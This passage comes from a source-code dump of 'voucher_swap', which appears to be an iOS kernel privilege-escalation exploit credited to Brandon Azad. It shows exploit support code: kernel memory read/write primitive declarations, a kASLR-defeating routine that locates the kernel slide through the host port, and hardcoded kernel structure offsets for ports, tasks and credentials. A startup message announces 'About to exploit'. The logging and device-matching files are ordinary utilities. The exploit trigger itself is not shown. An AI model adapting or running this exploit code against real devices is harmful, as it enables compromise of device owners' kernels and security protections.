53 | * Write data to kernel memory.
54 | */
55 | bool kernel_write(uint64_t address, const void *data, size_t size);
56 |
57 | /*
58 | * kernel_read8
59 | *
60 | * Description:
61 | * Read a single byte from kernel memory. If the read fails, -1 is returned.
62 | */
63 | uint8_t kernel_read8(uint64_t address);
64 |
65 | /*
66 | * kernel_read16
67 | *
68 | * Description:
69 | * Read a 16-bit value from kernel memory. If the read fails, -1 is returned.
70 | */
71 | uint16_t kernel_read16(uint64_t address);
72 |
73 | /*
74 | * kernel_read32
75 | *
76 | * Description:
77 | * Read a 32-bit value from kernel memory. If the read fails, -1 is returned.
78 | */
79 | uint32_t kernel_read32(uint64_t address);
80 |
81 | /*
82 | * kernel_read64
83 | *
84 | * Description:
85 | * Read a 64-bit value from kernel memory. If the read fails, -1 is returned.
86 | */
87 | uint64_t kernel_read64(uint64_t address);
88 |
89 | /*
90 | * kernel_write8
91 | *
92 | * Description:
93 | * Write a single byte to kernel memory.
94 | */
95 | bool kernel_write8(uint64_t address, uint8_t value);
96 |
97 | /*
98 | * kernel_write16
99 | *
100 | * Description:
101 | * Write a 16-bit value to kernel memory.
102 | */
103 | bool kernel_write16(uint64_t address, uint16_t value);
104 |
105 | /*
106 | * kernel_write32
107 | *
108 | * Description:
109 | * Write a 32-bit value to kernel memory.
110 | */
111 | bool kernel_write32(uint64_t address, uint32_t value);
112 |
113 | /*
114 | * kernel_write64
115 | *
116 | * Description:
117 | * Write a 64-bit value to kernel memory.
118 | */
119 | bool kernel_write64(uint64_t address, uint64_t value);
120 |
121 | /*
122 | * kernel_ipc_port_lookup
123 | *
124 | * Description:
125 | * Get the address of the ipc_port and ipc_entry for a Mach port name.
126 | */
127 | bool kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
128 | uint64_t *ipc_port, uint64_t *ipc_entry);
129 |
130 | #undef extern
131 |
132 | #endif
133 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/kernel_slide.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_slide.c
3 | * Brandon Azad
4 | */
5 | #define KERNEL_SLIDE_EXTERN
6 | #include "kernel_slide.h"
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | #include "kernel_memory.h"
13 | #include "log.h"
14 | #include "parameters.h"
15 | #include "platform.h"
16 |
17 | /*
18 | * is_kernel_base
19 | *
20 | * Description:
21 | * Checks if the given address is the kernel base.
22 | */
23 | static bool
24 | is_kernel_base(uint64_t base) {
25 | // Read the data at the base address as a Mach-O header.
26 | struct mach_header_64 header = {};
27 | bool ok = kernel_read(base, &header, sizeof(header));
28 | if (!ok) {
29 | return false;
30 | }
31 | // Validate that this looks like the kernel base. We don't check the CPU subtype since it
32 | // may not exactly match the current platform's CPU subtype (e.g. on iPhone10,1,
33 | // header.cpusubtype is CPU_SUBTYPE_ARM64_ALL while platform.cpu_subtype is
34 | // CPU_SUBTYPE_ARM64_V8).
35 | if (!(header.magic == MH_MAGIC_64
36 | && header.cputype == platform.cpu_type
37 | && header.filetype == MH_EXECUTE
38 | && header.ncmds > 2)) {
39 | return false;
40 | }
41 | return true;
42 | }
43 |
44 | bool
45 | kernel_slide_init() {
46 | if (kernel_slide != 0) {
47 | return true;
48 | }
49 | // Get the address of the host port.
50 | mach_port_t host = mach_host_self();
51 | assert(MACH_PORT_VALID(host));
52 | uint64_t host_port;
53 | bool ok = kernel_ipc_port_lookup(current_task, host, &host_port, NULL);
54 | mach_port_deallocate(mach_task_self(), host);
55 | if (!ok) {
56 | ERROR("could not lookup host port");
57 | return false;
58 | }
59 | // Get the address of realhost.
60 | uint64_t realhost = kernel_read64(host_port + OFFSET(ipc_port, ip_kobject));
61 | return kernel_slide_init_with_kernel_image_address(realhost);
62 | }
63 |
64 | bool
65 | kernel_slide_init_with_kernel_image_address(uint64_t address) {
66 | if (kernel_slide != 0) {
67 | return true;
68 | }
69 | // Find the highest possible kernel base address that could still correspond to the given
70 | // kernel image address.
71 | uint64_t base = STATIC_ADDRESS(kernel_base);
72 | assert(address > base);
73 | base = base + ((address - base) / kernel_slide_step) * kernel_slide_step;
74 | // Now walk backwards from that kernel base one kernel slide at a time until we find the
75 | // real kernel base.
76 | while (base > STATIC_ADDRESS(kernel_base)) {
77 | bool found = is_kernel_base(base);
78 | if (found) {
79 | kernel_slide = base - STATIC_ADDRESS(kernel_base);
80 | DEBUG_TRACE(1, "found kernel slide 0x%016llx", kernel_slide);
81 | return true;
82 | }
83 | base -= kernel_slide_step;
84 | }
85 | ERROR("could not find kernel base");
86 | ERROR("could not determine kernel slide");
87 | return false;
88 | }
89 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/kernel_slide.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_slide.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_SLIDE_H_
6 | #define VOUCHER_SWAP__KERNEL_SLIDE_H_
7 |
8 | #include
9 | #include
10 |
11 | #ifdef KERNEL_SLIDE_EXTERN
12 | #define extern KERNEL_SLIDE_EXTERN
13 | #endif
14 |
15 | /*
16 | * kernel_slide
17 | *
18 | * Description:
19 | * The kASLR slide.
20 | */
21 | extern uint64_t kernel_slide;
22 |
23 | /*
24 | * kernel_slide_init
25 | *
26 | * Description:
27 | * Find the value of the kernel slide using kernel_read() and current_task.
28 | */
29 | bool kernel_slide_init(void);
30 |
31 | /*
32 | * kernel_slide_init_with_kernel_image_address
33 | *
34 | * Description:
35 | * Find the value of the kernel slide using kernel_read(), starting with an address that is
36 | * known to reside within the kernel image.
37 | */
38 | bool kernel_slide_init_with_kernel_image_address(uint64_t address);
39 |
40 | #undef extern
41 |
42 | #endif
43 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/log.c:
--------------------------------------------------------------------------------
1 | /*
2 | * log.c
3 | * Brandon Azad
4 | */
5 | #include "log.h"
6 |
7 | #include
8 | #include
9 | #include
10 |
11 | void
12 | log_internal(char type, const char *format, ...) {
13 | if (log_implementation != NULL) {
14 | va_list ap;
15 | va_start(ap, format);
16 | log_implementation(type, format, ap);
17 | va_end(ap);
18 | }
19 | }
20 |
21 | // The default logging implementation prints to stderr with a nice hacker prefix.
22 | static void
23 | log_stderr(char type, const char *format, va_list ap) {
24 | char *message = NULL;
25 | vasprintf(&message, format, ap);
26 | assert(message != NULL);
27 | switch (type) {
28 | case 'D': type = 'D'; break;
29 | case 'I': type = '+'; break;
30 | case 'W': type = '!'; break;
31 | case 'E': type = '-'; break;
32 | }
33 | fprintf(stderr, "[%c] %s\n", type, message);
34 | free(message);
35 | }
36 |
37 | void (*log_implementation)(char type, const char *format, va_list ap) = log_stderr;
38 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/log.h:
--------------------------------------------------------------------------------
1 | /*
2 | * log.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__LOG_H_
6 | #define VOUCHER_SWAP__LOG_H_
7 |
8 | #include
9 | #include
10 |
11 | /*
12 | * log_implementation
13 | *
14 | * Description:
15 | * This is the log handler that will be executed when code wants to log a message. The default
16 | * implementation logs the message to stderr. Setting this value to NULL will disable all
17 | * logging. Specify a custom log handler to process log messages in another way.
18 | *
19 | * Parameters:
20 | * type A character representing the type of message that is being
21 | * logged.
22 | * format A printf-style format string describing the error message.
23 | * ap The variadic argument list for the format string.
24 | *
25 | * Log Type:
26 | * The type parameter is one of:
27 | * - D: Debug: Used for debugging messages. Set the DEBUG build variable to control debug
28 | * verbosity.
29 | * - I: Info: Used to convey general information about the exploit or its progress.
30 | * - W: Warning: Used to indicate that an unusual but possibly recoverable condition was
31 | * encountered.
32 | * - E: Error: Used to indicate that an unrecoverable error was encountered. The code
33 | * might continue running after an error was encountered, but it probably will
34 | * not succeed.
35 | */
36 | extern void (*log_implementation)(char type, const char *format, va_list ap);
37 |
38 | #define DEBUG_LEVEL(level) (DEBUG && level <= DEBUG)
39 |
40 | #if DEBUG
41 | #define DEBUG_TRACE(level, fmt, ...) \
42 | do { \
43 | if (DEBUG_LEVEL(level)) { \
44 | log_internal('D', fmt, ##__VA_ARGS__); \
45 | } \
46 | } while (0)
47 | #else
48 | #define DEBUG_TRACE(level, fmt, ...) do {} while (0)
49 | #endif
50 | #define INFO(fmt, ...) log_internal('I', fmt, ##__VA_ARGS__)
51 | #define WARNING(fmt, ...) log_internal('W', fmt, ##__VA_ARGS__)
52 | #define ERROR(fmt, ...) log_internal('E', fmt, ##__VA_ARGS__)
53 |
54 | // A function to call the logging implementation.
55 | void log_internal(char type, const char *format, ...) __printflike(2, 3);
56 |
57 | #endif
58 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/parameters.c:
--------------------------------------------------------------------------------
1 | /*
2 | * parameters.c
3 | * Brandon Azad
4 | */
5 | #define PARAMETERS_EXTERN
6 | #include "parameters.h"
7 |
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 |
14 | #include "log.h"
15 | #include "platform.h"
16 | #include "platform_match.h"
17 |
18 | #define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
19 |
20 | static void default_offsets() {
21 | SIZE(ipc_entry) = 0x18;
22 | OFFSET(ipc_entry, ie_object) = 0;
23 | OFFSET(ipc_entry, ie_bits) = 8;
24 | OFFSET(ipc_entry, ie_request) = 16;
25 |
26 | SIZE(ipc_port) = 0xa8;
27 | BLOCK_SIZE(ipc_port) = 0x4000;
28 | OFFSET(ipc_port, ip_bits) = 0;
29 | OFFSET(ipc_port, ip_references) = 4;
30 | OFFSET(ipc_port, waitq_flags) = 24;
31 | OFFSET(ipc_port, imq_messages) = 64;
32 | OFFSET(ipc_port, imq_msgcount) = 80;
33 | OFFSET(ipc_port, imq_qlimit) = 82;
34 | OFFSET(ipc_port, ip_receiver) = 96;
35 | OFFSET(ipc_port, ip_kobject) = 104;
36 | OFFSET(ipc_port, ip_nsrequest) = 112;
37 | OFFSET(ipc_port, ip_requests) = 128;
38 | OFFSET(ipc_port, ip_mscount) = 156;
39 | OFFSET(ipc_port, ip_srights) = 160;
40 |
41 | SIZE(ipc_port_request) = 0x10;
42 | OFFSET(ipc_port_request, ipr_soright) = 0;
43 |
44 | OFFSET(ipc_space, is_table_size) = 0x14;
45 | OFFSET(ipc_space, is_table) = 0x20;
46 |
47 | SIZE(ipc_voucher) = 0x50;
48 | BLOCK_SIZE(ipc_voucher) = 0x4000;
49 |
50 | OFFSET(proc, p_pid) = 0x60;
51 | OFFSET(proc, p_ucred) = 0xF8;
52 |
53 | SIZE(sysctl_oid) = 0x50;
54 | OFFSET(sysctl_oid, oid_parent) = 0x0;
55 | OFFSET(sysctl_oid, oid_link) = 0x8;
56 | OFFSET(sysctl_oid, oid_kind) = 0x14;
57 | OFFSET(sysctl_oid, oid_handler) = 0x30;
58 | OFFSET(sysctl_oid, oid_version) = 0x48;
59 | OFFSET(sysctl_oid, oid_refcnt) = 0x4C;
60 |
61 | OFFSET(task, lck_mtx_type) = 0xB;
62 | OFFSET(task, ref_count) = 0x10;
63 | OFFSET(task, active) = 0x14;
64 | OFFSET(task, map) = 0x20;
65 | OFFSET(task, itk_space) = 0x300;
66 | OFFSET(task, bsd_info) = 0x358;
67 | }
68 |
69 | // ---- Public API --------------------------------------------------------------------------------
70 |
71 | bool
72 | parameters_init() {
73 | platform_init();
74 | STATIC_ADDRESS(kernel_base) = 0xFFFFFFF007004000;
75 | kernel_slide_step = 0x200000;
76 | message_size_for_kmsg_zone = 76;
77 | kmsg_zone_size = 256;
78 | max_ool_ports_per_message = 16382;
79 | gc_step = 2 * MB;
80 | default_offsets();
81 | const char *bsd_info_0x368[] = { "iPhone11," };
82 | for (int i = 0; i < ARRAY_COUNT(bsd_info_0x368); i++) {
83 | if (strstr(platform.machine, bsd_info_0x368[i]) != NULL) {
84 | OFFSET(task, bsd_info) = 0x368;
85 | break;
86 | }
87 | }
88 | COUNT_PER_BLOCK(ipc_port) = BLOCK_SIZE(ipc_port) / SIZE(ipc_port);
89 | COUNT_PER_BLOCK(ipc_voucher) = BLOCK_SIZE(ipc_voucher) / SIZE(ipc_voucher);
90 | printf("[IMPORTANT] About to exploit. If this doesn't work, %s \"%s\" to bsd_info_0x368[] or open a new issue on github.com/alticha/voucher_swap.\n", OFFSET(task, bsd_info) == 0x368 ? "remove" : "add", platform.machine);
91 | return true;
92 | }
93 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/parameters.h:
--------------------------------------------------------------------------------
1 | /*
2 | * parameters.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__PARAMETERS_H_
6 | #define VOUCHER_SWAP__PARAMETERS_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | #ifdef PARAMETERS_EXTERN
13 | #define extern PARAMETERS_EXTERN
14 | #endif
15 |
16 | // Some helpful units.
17 | #define KB (1024uLL)
18 | #define MB (1024uLL * KB)
19 | #define GB (1024uLL * MB)
20 |
21 | // Generate the name for an offset.
22 | #define OFFSET(base_, object_) _##base_##__##object_##__offset_
23 |
24 | // Generate the name for the size of an object.
25 | #define SIZE(object_) _##object_##__size_
26 |
27 | // Generate the name for the size of a zalloc block of objects.
28 | #define BLOCK_SIZE(object_) _##object_##__block_size_
29 |
30 | // Generate the name for the number of elements in a zalloc block.
31 | #define COUNT_PER_BLOCK(object_) _##object_##__per_block_
32 |
33 | // Generate the name for the address of an object.
34 | #define ADDRESS(object_) _##object_##__address_
35 |
36 | // Generate the name for the static (unslid) address of an object.
37 | #define STATIC_ADDRESS(object_) _##object_##__static_address_
38 |
39 | // A convenience macro for accessing a field of a structure.
40 | #define FIELD(object_, struct_, field_, type_) \
41 | ( *(type_ *) ( ((uint8_t *) object_) + OFFSET(struct_, field_) ) )
42 |
43 | // The static base address of the kernel.
44 | extern uint64_t STATIC_ADDRESS(kernel_base);
45 |
46 | // The kernel_slide granularity.
47 | extern uint64_t kernel_slide_step;
48 |
49 | // Messages up to this size are allocated from the dedicated ipc.kmsgs zone.
50 | extern size_t message_size_for_kmsg_zone;
51 |
52 | // The size of elements in ipc.kmsgs.
53 | extern size_t kmsg_zone_size;
54 |
55 | // The maximum number of OOL ports in a single message.
56 | extern size_t max_ool_ports_per_message;
57 |
58 | // How much to allocate between sleeps while trying to trigger garbage collection.
59 | extern size_t gc_step;
60 |
61 | // Parameters for ipc_entry.
62 | extern size_t SIZE(ipc_entry);
63 | extern size_t OFFSET(ipc_entry, ie_object);
64 | extern size_t OFFSET(ipc_entry, ie_bits);
65 | extern size_t OFFSET(ipc_entry, ie_request);
66 |
67 | // Parameters for ipc_port.
68 | extern size_t SIZE(ipc_port);
69 | extern size_t BLOCK_SIZE(ipc_port);
70 | extern size_t COUNT_PER_BLOCK(ipc_port);
71 | extern size_t OFFSET(ipc_port, ip_bits);
72 | extern size_t OFFSET(ipc_port, ip_references);
73 | extern size_t OFFSET(ipc_port, waitq_flags);
74 | extern size_t OFFSET(ipc_port, imq_messages);
75 | extern size_t OFFSET(ipc_port, imq_msgcount);
76 | extern size_t OFFSET(ipc_port, imq_qlimit);
77 | extern size_t OFFSET(ipc_port, ip_receiver);
78 | extern size_t OFFSET(ipc_port, ip_kobject);
79 | extern size_t OFFSET(ipc_port, ip_nsrequest);
80 | extern size_t OFFSET(ipc_port, ip_requests);
81 | extern size_t OFFSET(ipc_port, ip_mscount);
82 | extern size_t OFFSET(ipc_port, ip_srights);
83 |
84 | // Parameters for ipc_port_request.
85 | extern size_t SIZE(ipc_port_request);
86 | extern size_t OFFSET(ipc_port_request, ipr_soright);
87 |
88 | // Parameters for struct ipc_space.
89 | extern size_t OFFSET(ipc_space, is_table_size);
90 | extern size_t OFFSET(ipc_space, is_table);
91 |
92 | // Parameters for ipc_voucher.
93 | extern size_t SIZE(ipc_voucher);
94 | extern size_t BLOCK_SIZE(ipc_voucher);
95 | extern size_t COUNT_PER_BLOCK(ipc_voucher);
96 |
97 | // Parameters for struct proc.
98 | extern size_t OFFSET(proc, p_pid);
99 | extern size_t OFFSET(proc, p_ucred);
100 |
101 | // Parameters for struct sysctl_oid.
102 | extern size_t SIZE(sysctl_oid);
103 | extern size_t OFFSET(sysctl_oid, oid_parent);
104 | extern size_t OFFSET(sysctl_oid, oid_link);
105 | extern size_t OFFSET(sysctl_oid, oid_kind);
106 | extern size_t OFFSET(sysctl_oid, oid_handler);
107 | extern size_t OFFSET(sysctl_oid, oid_version);
108 | extern size_t OFFSET(sysctl_oid, oid_refcnt);
109 |
110 | // Parameters for struct task.
111 | extern size_t OFFSET(task, lck_mtx_type);
112 | extern size_t OFFSET(task, ref_count);
113 | extern size_t OFFSET(task, active);
114 | extern size_t OFFSET(task, map);
115 | extern size_t OFFSET(task, itk_space);
116 | extern size_t OFFSET(task, bsd_info);
117 |
118 | /*
119 | * parameters_init
120 | *
121 | * Description:
122 | * Initialize the parameters for the system.
123 | */
124 | bool parameters_init(void);
125 |
126 | #undef extern
127 |
128 | #endif
129 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/platform.c:
--------------------------------------------------------------------------------
1 | /*
2 | * platform.c
3 | * Brandon Azad
4 | */
5 | #define PLATFORM_EXTERN
6 | #include "platform.h"
7 |
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 | #include "log.h"
14 |
15 | // ---- Initialization ----------------------------------------------------------------------------
16 |
17 | void
18 | platform_init() {
19 | // Only initialize once.
20 | static bool initialized = false;
21 | if (initialized) {
22 | return;
23 | }
24 | initialized = true;
25 | // Set the page size.
26 | platform.page_size = vm_kernel_page_size;
27 | page_size = platform.page_size;
28 | // Get the machine name (e.g. iPhone11,8).
29 | struct utsname u = {};
30 | int error = uname(&u);
31 | assert(error == 0);
32 | strncpy((char *)platform.machine, u.machine, sizeof(platform.machine));
33 | // Get the build (e.g. 16C50).
34 | size_t osversion_size = sizeof(platform.osversion);
35 | error = sysctlbyname("kern.osversion",
36 | (void *)platform.osversion, &osversion_size, NULL, 0);
37 | assert(error == 0);
38 | // Get basic host info.
39 | mach_port_t host = mach_host_self();
40 | assert(MACH_PORT_VALID(host));
41 | host_basic_info_data_t basic_info;
42 | mach_msg_type_number_t count = HOST_BASIC_INFO_COUNT;
43 | kern_return_t kr = host_info(host, HOST_BASIC_INFO, (host_info_t) &basic_info, &count);
44 | assert(kr == KERN_SUCCESS);
45 | platform.cpu_type = basic_info.cpu_type;
46 | platform.cpu_subtype = basic_info.cpu_subtype;
47 | platform.physical_cpu = basic_info.physical_cpu;
48 | platform.logical_cpu = basic_info.logical_cpu;
49 | platform.memory_size = basic_info.max_mem;
50 | mach_port_deallocate(mach_task_self(), host);
51 | // Log basic platform info.
52 | DEBUG_TRACE(1, "platform: %s %s", platform.machine, platform.osversion);
53 | }
54 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/platform.h:
--------------------------------------------------------------------------------
1 | /*
2 | * platform.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__PLATFORM_H_
6 | #define VOUCHER_SWAP__PLATFORM_H_
7 |
8 | #include
9 | #include
10 |
11 | #ifdef PLATFORM_EXTERN
12 | #define extern PLATFORM_EXTERN
13 | #endif
14 |
15 | /*
16 | * platform
17 | *
18 | * Description:
19 | * Basic information about the platform.
20 | */
21 | struct platform {
22 | /*
23 | * platform.machine
24 | *
25 | * Description:
26 | * The name of the platform, e.g. iPhone11,8.
27 | */
28 | const char machine[32];
29 | /*
30 | * platform.osversion
31 | *
32 | * Description:
33 | * The version of the OS build, e.g. 16C50.
34 | */
35 | const char osversion[32];
36 | /*
37 | * platform.cpu_type
38 | *
39 | * Description:
40 | * The platform CPU type.
41 | */
42 | cpu_type_t cpu_type;
43 | /*
44 | * platform.cpu_subtype
45 | *
46 | * Description:
47 | * The platform CPU subtype.
48 | */
49 | cpu_subtype_t cpu_subtype;
50 | /*
51 | * platform.physical_cpu
52 | *
53 | * Description:
54 | * The number of physical CPU cores.
55 | */
56 | unsigned physical_cpu;
57 | /*
58 | * platform.logical_cpu
59 | *
60 | * Description:
61 | * The number of logical CPU cores.
62 | */
63 | unsigned logical_cpu;
64 | /*
65 | * platform.page_size
66 | *
67 | * Description:
68 | * The kernel page size.
69 | */
70 | size_t page_size;
71 | /*
72 | * platform.memory_size
73 | *
74 | * Description:
75 | * The size of physical memory on the device.
76 | */
77 | size_t memory_size;
78 | };
79 | extern struct platform platform;
80 |
81 | /*
82 | * page_size
83 | *
84 | * Description:
85 | * The kernel page size on this platform, made available globally for convenience.
86 | */
87 | extern size_t page_size;
88 |
89 | /*
90 | * platform_init
91 | *
92 | * Description:
93 | * Initialize the platform.
94 | */
95 | void platform_init(void);
96 |
97 | #undef extern
98 |
99 | #endif
100 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/platform_match.c:
--------------------------------------------------------------------------------
1 | /*
2 | * platform_match.c
3 | * Brandon Azad
4 | */
5 | #include "platform_match.h"
6 |
7 | #include
8 | #include
9 |
10 | #include "log.h"
11 | #include "platform.h"
12 |
13 | // ---- Matching helper functions -----------------------------------------------------------------
14 |
15 | // Advance past any spaces in a string.
16 | static void
17 | skip_spaces(const char **p) {
18 | const char *pch = *p;
19 | while (*pch == ' ') {
20 | pch++;
21 | }
22 | *p = pch;
23 | }
24 |
25 | // ---- Device matching ---------------------------------------------------------------------------
26 |
27 | // A wildcard device version number.
28 | #define ANY ((unsigned)(-1))
29 |
30 | // Parse the version part of a device string.
31 | static bool
32 | parse_device_version_internal(const char *device_version, unsigned *major, unsigned *minor,
33 | bool allow_wildcard, const char **end) {
34 | const char *p = device_version;
35 | // Parse the major version, which might be a wildcard.
36 | unsigned maj = 0;
37 | if (allow_wildcard && *p == '*') {
38 | maj = ANY;
39 | p++;
40 | } else {
41 | for (;;) {
42 | char ch = *p;
43 | if (ch < '0' || '9' < ch) {
44 | break;
45 | }
46 | maj = maj * 10 + (ch - '0');
47 | p++;
48 | }
49 | }
50 | // Make sure we got the comma.
51 | if (*p != ',') {
52 | return false;
53 | }
54 | p++;
55 | // Parse the minor version, which might be a wildcard.
56 | unsigned min = 0;
57 | if (allow_wildcard && *p == '*') {
58 | min = ANY;
59 | p++;
60 | } else {
61 | for (;;) {
62 | char ch = *p;
63 | if (ch < '0' || '9' < ch) {
64 | break;
65 | }
66 | min = min * 10 + (ch - '0');
67 | p++;
68 | }
69 | }
70 | // If end is NULL, then require that we're at the end of the string. Else, return the end
71 | // of what we parsed.
72 | if (end == NULL) {
73 | if (*p != 0) {
74 | return false;
75 | }
76 | } else {
77 | *end = p;
78 | }
79 | // Return the values.
80 | *major = maj;
81 | *minor = min;
82 | return true;
83 | }
84 |
85 | // Parse a device name.
86 | static bool
87 | parse_device_internal(const char *device, char *device_type, unsigned *major, unsigned *minor,
88 | bool allow_wildcard, const char **end) {
89 | // "iPhone11,8" -> "iPhone", 11, 8; "iPad7,*" -> "iPad", 7, ANY
90 | // If this device name doesn't have a comma then we don't know how to parse it. Just set
91 | // the whole thing as the device type.
92 | const char *comma = strchr(device, ',');
93 | if (comma == NULL) {
94 | unknown:
95 | strcpy(device_type, device);
96 | *major = 0;
97 | *minor = 0;
98 | return false;
99 | }
100 | // Walk backwards from the comma to the start of the major version.
101 | if (comma == device) {
102 | goto unknown;
103 | }
104 | const char *p = comma;
105 | for (;;) {
106 | char ch = *(p - 1);
107 | if (!(('0' <= ch && ch <= '9') || (allow_wildcard && ch == '*'))) {
108 | break;
109 | }
110 | p--;
111 | if (p == device) {
112 | goto unknown;
113 | }
114 | }
115 | if (p == comma) {
116 | goto unknown;
117 | }
118 | size_t device_type_length = p - device;
119 | // Parse the version numbers.
120 | bool ok = parse_device_version_internal(p, major, minor, allow_wildcard, end);
121 | if (!ok) {
122 | goto unknown;
123 | }
124 | // Return the device_type string. This is last in case it's shared with the device string.
125 | strncpy(device_type, device, device_type_length);
126 | device_type[device_type_length] = 0;
127 | return true;
128 | }
129 |
130 | // Parse a device name.
131 | static bool
132 | parse_device(const char *device, char *device_type, unsigned *major, unsigned *minor) {
133 | return parse_device_internal(device, device_type, major, minor, false, NULL);
134 | }
135 |
136 | // Parse a device range string.
137 | static bool
138 | parse_device_range(const char *device, char *device_type,
139 | unsigned *min_major, unsigned *min_minor,
140 | unsigned *max_major, unsigned *max_minor,
141 | const char **end) {
142 | char dev_type[32];
143 | const char *next = device;
144 | // First parse a full device.
145 | bool ok = parse_device_internal(next, dev_type, min_major, min_minor, true, &next);
146 | if (!ok) {
147 | unknown:
148 | strcpy(device_type, device);
149 | *min_major = 0;
150 | *min_minor = 0;
151 | *max_major = 0;
152 | *max_minor = 0;
153 | return false;
154 | }
155 | // Optionally parse a separator and more versions.
156 | if (*next == 0) {
157 | *max_major = *min_major;
158 | *max_minor = *min_minor;
159 | } else if (*next == '-') {
160 | next++;
161 | ok = parse_device_version_internal(next, max_major, max_minor, true, &next);
162 | if (!ok) {
163 | goto unknown;
164 | }
165 | }
166 | *end = next;
167 | // Return the device_type.
168 | strcpy(device_type, dev_type);
169 | return true;
170 | }
171 |
172 | // Check if the given device number is numerically within range.
173 | static bool
174 | numerical_device_match(unsigned major, unsigned minor,
175 | unsigned min_major, unsigned min_minor, unsigned max_major, unsigned max_minor) {
176 | if (major < min_major && min_major != ANY) {
177 | return false;
178 | }
179 | if ((major == min_major || min_major == ANY)
180 | && minor < min_minor && min_minor != ANY) {
181 | return false;
182 | }
183 | if (major > max_major && max_major != ANY) {
184 | return false;
185 | }
186 | if ((major == max_major || max_major == ANY)
187 | && minor > max_minor && max_minor != ANY) {
188 | return false;
189 | }
190 | return true;
191 | }
192 |
193 | // Match a specific device against a device match list.
194 | static bool
195 | match_device(const char *device, const char *devices) {
196 | if (devices == NULL || strcmp(devices, "*") == 0) {
197 | return true;
198 | }
199 | // Parse this device.
200 | char device_type[32];
201 | unsigned major, minor;
202 | parse_device(device, device_type, &major, &minor);
203 | // Parse the match list.
204 | const char *next = devices;
205 | while (*next != 0) {
206 | // Parse the next device range.
207 | char match_device_type[32];
208 | unsigned min_major, min_minor, max_major, max_minor;
209 | parse_device_range(next, match_device_type, &min_major, &min_minor,
210 | &max_major, &max_minor, &next);
211 | if (*next != 0) {
212 | skip_spaces(&next);
213 | assert(*next == '|');
214 | next++;
215 | skip_spaces(&next);
216 | assert(*next != 0);
217 | }
218 | // Check if this is a match.
219 | if (strcmp(device_type, match_device_type) == 0
220 | && numerical_device_match(major, minor,
221 | min_major, min_minor, max_major, max_minor)) {
222 | return true;
223 | }
224 | }
225 | return false;
226 | }
227 |
228 | // ---- Build matching ----------------------------------------------------------------------------
229 |
230 | // Parse a build version string into a uint64_t. Maintains comparison order.
231 | static uint64_t
232 | parse_build_version(const char *build, const char **end) {
233 | // 16A5288q -> [2 bytes][1 byte][3 bytes][1 byte]
234 | const char *p = build;
235 | // Parse out the major number.
236 | uint64_t major = 0;
237 | for (;;) {
238 | char ch = *p;
239 | if (ch < '0' || '9' < ch) {
240 | break;
241 | }
242 | major = major * 10 + (ch - '0');
243 | p++;
244 | }
245 | // Parse out the minor.
246 | uint64_t minor = 0;
247 | for (;;) {
248 | char ch = *p;
249 | if (ch < 'A' || 'Z' < ch) {
250 | break;
251 | }
252 | minor = (minor << 8) + ch;
253 | p++;
254 | }
255 | // Parse out the patch.
256 | uint64_t patch = 0;
257 | for (;;) {
258 | char ch = *p;
259 | if (ch < '0' || '9' < ch) {
260 | break;
261 | }
262 | patch = patch * 10 + (ch - '0');
263 | p++;
264 | }
265 | // Parse out the alpha.
266 | uint64_t alpha = 0;
267 | for (;;) {
268 | char ch = *p;
269 | if (ch < 'a' || 'z' < ch) {
270 | break;
271 | }
272 | alpha = (alpha << 8) + ch;
273 | p++;
274 | }
275 | // Construct the full build version.
276 | if (end != NULL) {
277 | *end = p;
278 | }
279 | return ((major << (8 * 5))
280 | | (minor << (8 * 4))
281 | | (patch << (8 * 1))
282 | | (alpha << (8 * 0)));
283 | }
284 |
285 | // Parse a build version range string.
286 | static void
287 | parse_build_version_range(const char *builds, uint64_t *version_min, uint64_t *version_max) {
288 | const char *next = builds;
289 | uint64_t min, max;
290 | // Parse the lower range.
291 | if (*next == '*') {
292 | min = 0;
293 | next++;
294 | } else {
295 | min = parse_build_version(next, &next);
296 | }
297 | // Parse the upper range (if it exists).
298 | if (*next == 0) {
299 | assert(min != 0);
300 | max = min;
301 | } else {
302 | skip_spaces(&next);
303 | assert(*next == '-');
304 | next++;
305 | skip_spaces(&next);
306 | if (*next == '*') {
307 | max = (uint64_t)(-1);
308 | next++;
309 | } else {
310 | max = parse_build_version(next, &next);
311 | }
312 | assert(*next == 0);
313 | }
314 | *version_min = min;
315 | *version_max = max;
316 | }
317 |
318 | // Check if the given build version string matches the build range.
319 | static bool
320 | match_build(const char *build, const char *builds) {
321 | if (builds == NULL || strcmp(builds, "*") == 0) {
322 | return true;
323 | }
324 | uint64_t version = parse_build_version(build, NULL);
325 | uint64_t version_min, version_max;
326 | parse_build_version_range(builds, &version_min, &version_max);
327 | return (version_min <= version && version <= version_max);
328 | }
329 |
330 | // ---- Public API --------------------------------------------------------------------------------
331 |
332 | bool
333 | platform_matches_device(const char *device_range) {
334 | return match_device(platform.machine, device_range);
335 | }
336 |
337 | bool
338 | platform_matches_build(const char *build_range) {
339 | return match_build(platform.osversion, build_range);
340 | }
341 |
342 | bool
343 | platform_matches(const char *device_range, const char *build_range) {
344 | return platform_matches_device(device_range)
345 | && platform_matches_build(build_range);
346 | }
347 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/platform_match.h:
--------------------------------------------------------------------------------
1 | /*
2 | * platform_match.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__PLATFORM_MATCH_H_
